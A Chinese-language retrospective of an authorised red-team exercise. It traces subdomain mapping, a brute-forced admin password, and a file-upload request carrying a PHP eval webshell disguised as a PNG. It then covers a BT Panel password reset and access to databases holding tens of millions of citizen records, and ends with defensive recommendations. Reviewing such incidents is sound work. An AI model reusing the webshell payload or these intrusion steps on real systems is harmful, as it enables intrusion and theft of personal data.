
前言
本文是一次实战攻防案例的复盘与总结。在保留原始攻击路径与核心技战术细节的基础上,对语言表达与逻辑结构进行了梳理与补充。所有涉及具体单位、系统、IP、域名及敏感数据均已做严格脱敏处理,内容仅供技术研究、安全事件复盘与防御体系建设参考。
一、背景概述
在一次“不打招呼”的实战攻防演练中,攻击团队以外部攻击者视角,从一个看似普通的微信公众号入手,通过资产测绘、子域名发现、弱口令爆破、Web应用漏洞利用等一系列组合拳,成功渗透至目标单位核心内网系统。最终,获取了51家下属单位共计54个数据库的完整访问权限,涉及超过7000万条包含三要素、五要素乃至七要素的高敏感公民个人信息。
这次行动,充分暴露了目标单位在互联网资产暴露面管理、身份认证强度、Web应用安全防护以及内网横向隔离等方面的严重短板。
二、攻击路径复盘
1. 初始入口:从公众号到资产测绘
一切始于目标单位的微信公众号。通过公开渠道(如天眼查、企查查、ICP备案信息)锁定了其主域名 xxx.com。
随后,利用资产测绘平台进行探测。下图展示了通过测绘平台发现的目标单位移动端应用暴露面情况,这通常是渗透测试的起点。

紧接着,利用子域名爆破工具(如 OneForAll、Sublist3r)结合 DNS 查询,发现了大量关联子域名。这些子域名涵盖:
- 微信公众号后端接口
- 小程序业务系统
- 各类便民服务平台(如房产交易、投诉建议、新闻发布等)
进一步的 IP 和端口测绘,帮助我们更清晰地描绘出资产轮廓。

分析发现,所有这些子域名最终都解析至同一个或少数几个 IP 地址。这初步判断目标采用了“单点集中管理”的架构——即主站服务器统一托管了多个业务系统。下图展示了通过公众号信息关联到的具体单位描述,这为攻击者提供了宝贵的社会工程学信息。

2. 突破点:8位数字弱口令攻陷后台
在众多子域名中,我们锁定了某个业务系统的管理后台(URL 示例:https://xxx.com/#/user/),其登录界面如下:

常规的弱口令组合(如 admin/123456)尝试无果。于是,我们使用字典爆破工具(如 Yakit),将密码长度范围扩大至6-12位。
最终,成功爆破出有效凭证:admin / 12348888。
经验启示:弱口令策略绝不能仅限于6位数字。像这种8位纯数字密码,虽然长度增加,但规律简单,依然属于“弱口令”范畴,是安全防护中必须覆盖的测试点。
成功登录后,我们进入了一个功能丰富的市级“XXX平台”后台,包含信息发布、用户管理、文件上传等多个模块。

3. 权限提升:无防护文件上传获取 WebShell
在后台的“文件上传”模块中,系统未对上传文件的类型、内容或后缀进行有效校验。这为我们提供了绝佳的权限提升机会。
利用 Yakit 等工具抓取上传请求包,构造一个伪装成 PNG 图片的 PHP WebShell 文件进行上传。之所以选择“大马”,是因为其功能全面,能方便地一键配置 Cobalt Strike 等后期工具。
上传请求包示例:
POST /pc/-files HTTP/2
Host: xxx.com
Authorization: Bearer kJpdIDjsPuNIyq4G-iEhwYteKduaIkOK
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryotqSGhNpszkztFgA
------WebKitFormBoundaryotqSGhNpszkztFgA
Content-Disposition: form-data; name="file"; filename="qaxnb.php"
Content-Type: image/png
<?php @eval($_POST['cmd']);?>


服务器返回了上传文件的访问路径:
https://xxx.com/xxx/xxx/2026/1/14/27cqw079-7eae-wq66-qw0e-af9aqw59.php
通过 WebShell 管理工具连接该路径,成功获得服务器的远程命令执行(RCE)权限,并确认了服务器环境信息。


4. 内网横向移动与数据库全面接管
通过 WebShell 执行系统命令,发现服务器运行着宝塔面板(BT Panel)。虽然无法直接通过 Web 访问其管理界面,但我们利用已获得的服务器权限,通过命令行重置了宝塔面板的密码。

成功登录宝塔面板后,可以直接访问其内置的 MySQL 数据库管理界面。令人震惊的是,这台服务器上竟然托管着 54 个独立数据库,分别对应 51 家 不同下属单位的业务系统。


这些数据库中包含了海量未脱敏的公民个人信息,字段之全令人咋舌:
- 三要素:姓名、身份证号、手机号
- 五要素:在上述基础上,增加银行卡号、住址
- 七要素:部分系统甚至包含人脸特征、生物信息等
数据规模:累计可导出的记录超过 7000 万条。更严重的是,部分系统的前端页面接口(通过浏览器 F12 查看网络响应)直接返回了上万条明文信息,数据泄露风险极高。
5. 横向扩展:批量漏洞与弱口令的发现
以这台核心服务器为跳板,我们对内网其他资产进行了扫描。结果发现:
- 80+ 个系统存在弱口令
- 46 个系统存在可利用漏洞,如未授权访问、SQL注入、任意文件读取等
这意味着,攻击者已经可以实现对整个市级政务及民生平台生态的近乎全面控制。
三、暴露的核心安全问题
- 资产暴露面失控:大量子域名、公众号、小程序未纳入统一的安全管理范畴,成为攻击者绝佳的初始跳板。
- 身份认证极其薄弱:关键业务管理后台仅使用简单的8位数字密码,且缺乏多因素认证、登录失败锁定等基础防护机制。
- 文件上传功能形同虚设:未对文件内容、MIME类型、后缀名进行任何有效校验,导致 WebShell 可被直接上传并执行。
- 内网缺乏有效隔离:数十家不同单位的核心数据库集中托管于同一台服务器,形成“一点突破,全线失守”的高危架构。
- 数据未做脱敏处理:无论是前端接口还是管理后台,都直接返回原始的公民敏感信息,严重违反了《个人信息保护法》的相关要求。
- 过度依赖高危运维组件:在生产环境中使用宝塔等可视化面板,一旦被攻破,攻击者即可像管理员一样直接操作所有数据库和网站,风险极高。
四、防御改进建议
- 收敛互联网暴露面:定期开展资产测绘自查,梳理并关闭非必要的子域名、端口和服务。
- 强制执行强密码策略:管理后台密码至少12位,必须包含大小写字母、数字和特殊字符,并强制启用多因素认证(MFA)。
- 全面加固文件上传功能:实施白名单校验(仅允许指定类型)、对上传文件进行重命名、将文件存储于非Web可访问目录、并确保存储目录无脚本执行权限。
- 实施网络微隔离:不同单位或业务系统应部署在独立的网络区域(VLAN)、虚拟机或容器中,严格通过防火墙策略控制横向访问,限制攻击者移动。
- 落实数据脱敏与最小权限原则:前端接口严禁返回完整的敏感字段;后端数据库访问账号应遵循最小权限原则,按需授权。
- 审慎使用高风险运维工具:避免在生产环境直接使用宝塔等带有高权限的Web管理面板。建议采用堡垒机进行运维操作,并开启完整的操作审计日志。
五、结语
本次攻防演练清晰地展示了一种“小入口、大纵深”的现代攻击模式。攻击者如何从一个不起眼的公众号名称开始,通过系统的资产测绘与漏洞利用,层层突破,最终直达核心数据资产。7000万条公民个人信息面临的泄露风险,不仅是一个技术安全问题,更是一个严峻的法律合规与社会信任挑战。
各企事业单位应以此次案例为鉴,真正构建起“以数据为中心”的纵深防御体系,将安全视为不可逾越的底线,而非锦上添花的功能。
本文所涉及的技术细节与防御思路,在云栈社区的安全/渗透/逆向板块有更多深入的讨论与资源分享,欢迎对网络安全技术感兴趣的朋友前来交流探讨。